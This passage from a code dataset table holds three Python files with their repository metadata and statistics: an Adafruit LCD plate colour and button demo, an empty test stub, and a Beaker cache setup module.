| 21.414141 | 78 | 0.583491 | 251 | 2,120 | 4.752988 | 0.322709 | 0.03772 | 0.03772 | 0.040235 | 0.119028 | 0.053646 | 0.053646 | 0 | 0 | 0 | 0 | 0.000685 | 0.311321 | 2,120 | 98 | 79 | 21.632653 | 0.816438 | 0.185377 | 0 | 0.083333 | 0 | 0 | 0.022508 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.104167 | 0.041667 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
a366aa15ea9a5f66eaa2716af7d52e562a1b9d94 | 1,426 | py | Python | examples/char_lcd_plate.py | nichdu/Adafruit_Python_CharLCD | 82f08d5f8d991666070e622e42816f5bf70c1965 | [
"MIT"
] | null | null | null | examples/char_lcd_plate.py | nichdu/Adafruit_Python_CharLCD | 82f08d5f8d991666070e622e42816f5bf70c1965 | [
"MIT"
] | null | null | null | examples/char_lcd_plate.py | nichdu/Adafruit_Python_CharLCD | 82f08d5f8d991666070e622e42816f5bf70c1965 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# Example using a character LCD plate.
import math
import time
import Adafruit_CharLCD as LCD
# Initialize the LCD using the pins
lcd = LCD.Adafruit_CharLCDPlate()
# Show some basic colors.
lcd.set_color(1.0, 0.0, 0.0)
lcd.clear()
lcd.message('RED')
time.sleep(3.0)
lcd.set_color(0.0, 1.0, 0.0)
lcd.clear()
lcd.message('GREEN')
time.sleep(3.0)
lcd.set_color(0.0, 0.0, 1.0)
lcd.clear()
lcd.message('BLUE')
time.sleep(3.0)
lcd.set_color(1.0, 1.0, 0.0)
lcd.clear()
lcd.message('YELLOW')
time.sleep(3.0)
lcd.set_color(0.0, 1.0, 1.0)
lcd.clear()
lcd.message('CYAN')
time.sleep(3.0)
lcd.set_color(1.0, 0.0, 1.0)
lcd.clear()
lcd.message('MAGENTA')
time.sleep(3.0)
lcd.set_color(1.0, 1.0, 1.0)
lcd.clear()
lcd.message('WHITE')
time.sleep(3.0)
# Show button state.
lcd.clear()
lcd.message('Press buttons...')
# Make list of button value, text, and backlight color.
buttons = ( (LCD.SELECT, 'Select', (1,1,1)),
(LCD.LEFT, 'Left' , (1,0,0)),
(LCD.UP, 'Up' , (0,0,1)),
(LCD.DOWN, 'Down' , (0,1,0)),
(LCD.RIGHT, 'Right' , (1,0,1)) )
print 'Press Ctrl-C to quit.'
while True:
# Loop through each button and check if it is pressed.
for button in buttons:
if lcd.is_pressed(button[0]):
# Button is pressed, change the message and backlight.
lcd.clear()
lcd.message(button[1])
lcd.set_color(button[2][0], button[2][1], button[2][2])
| 20.970588 | 58 | 0.636746 | 261 | 1,426 | 3.436782 | 0.279693 | 0.037904 | 0.110368 | 0.180602 | 0.346711 | 0.346711 | 0.346711 | 0.307692 | 0.307692 | 0.115942 | 0 | 0.066779 | 0.170407 | 1,426 | 67 | 59 | 21.283582 | 0.691462 | 0.204067 | 0 | 0.347826 | 0 | 0 | 0.081633 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.065217 | null | null | 0.021739 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a37e9342bb30ff1113c3ae8dac37418bf5a51680 | 207 | py | Python | tests/test.py | eugenejen/hr-py-boilerplate | 7fdde759debe8e66120635ad8182c1abc3f9eb8b | [
"Apache-2.0"
] | null | null | null | tests/test.py | eugenejen/hr-py-boilerplate | 7fdde759debe8e66120635ad8182c1abc3f9eb8b | [
"Apache-2.0"
] | null | null | null | tests/test.py | eugenejen/hr-py-boilerplate | 7fdde759debe8e66120635ad8182c1abc3f9eb8b | [
"Apache-2.0"
] | 1 | 2019-02-24T18:34:26.000Z | 2019-02-24T18:34:26.000Z | """
test runner
"""
from hr_problem.main import main
def test_main():
""" test """
input_data = ''
output_data = main(input_data)
expected_data = ''
assert expected_data == output_data
| 15.923077 | 39 | 0.637681 | 26 | 207 | 4.769231 | 0.5 | 0.145161 | 0.225806 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231884 | 207 | 12 | 40 | 17.25 | 0.779874 | 0.082126 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a37ecfa10b0ad5ca840b7f66826d826ff670ffde | 242 | py | Python | helios/plato/django/server/beakercache.py | debjyoti0891/map | abdae67964420d7d36255dcbf83e4240a1ef4295 | [
"MIT"
] | 44 | 2019-12-13T06:39:13.000Z | 2022-03-29T23:09:28.000Z | helios/plato/django/server/beakercache.py | debjyoti0891/map | abdae67964420d7d36255dcbf83e4240a1ef4295 | [
"MIT"
] | 222 | 2020-01-14T21:58:56.000Z | 2022-03-31T20:05:12.000Z | helios/plato/django/server/beakercache.py | debjyoti0891/map | abdae67964420d7d36255dcbf83e4240a1ef4295 | [
"MIT"
] | 19 | 2020-01-03T19:03:22.000Z | 2022-01-09T08:36:20.000Z | '''
Created on Jul 13, 2019
@author: j.gross
'''
from beaker.cache import CacheManager
from beaker.util import parse_cache_config_options
cache_opts = {'cache.type': 'memory'}
cache = CacheManager(**parse_cache_config_options(cache_opts))
| 20.166667 | 62 | 0.772727 | 34 | 242 | 5.264706 | 0.588235 | 0.111732 | 0.178771 | 0.256983 | 0.357542 | 0.357542 | 0 | 0 | 0 | 0 | 0 | 0.027907 | 0.11157 | 242 | 11 | 63 | 22 | 0.804651 | 0.169421 | 0 | 0 | 0 | 0 | 0.082902 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.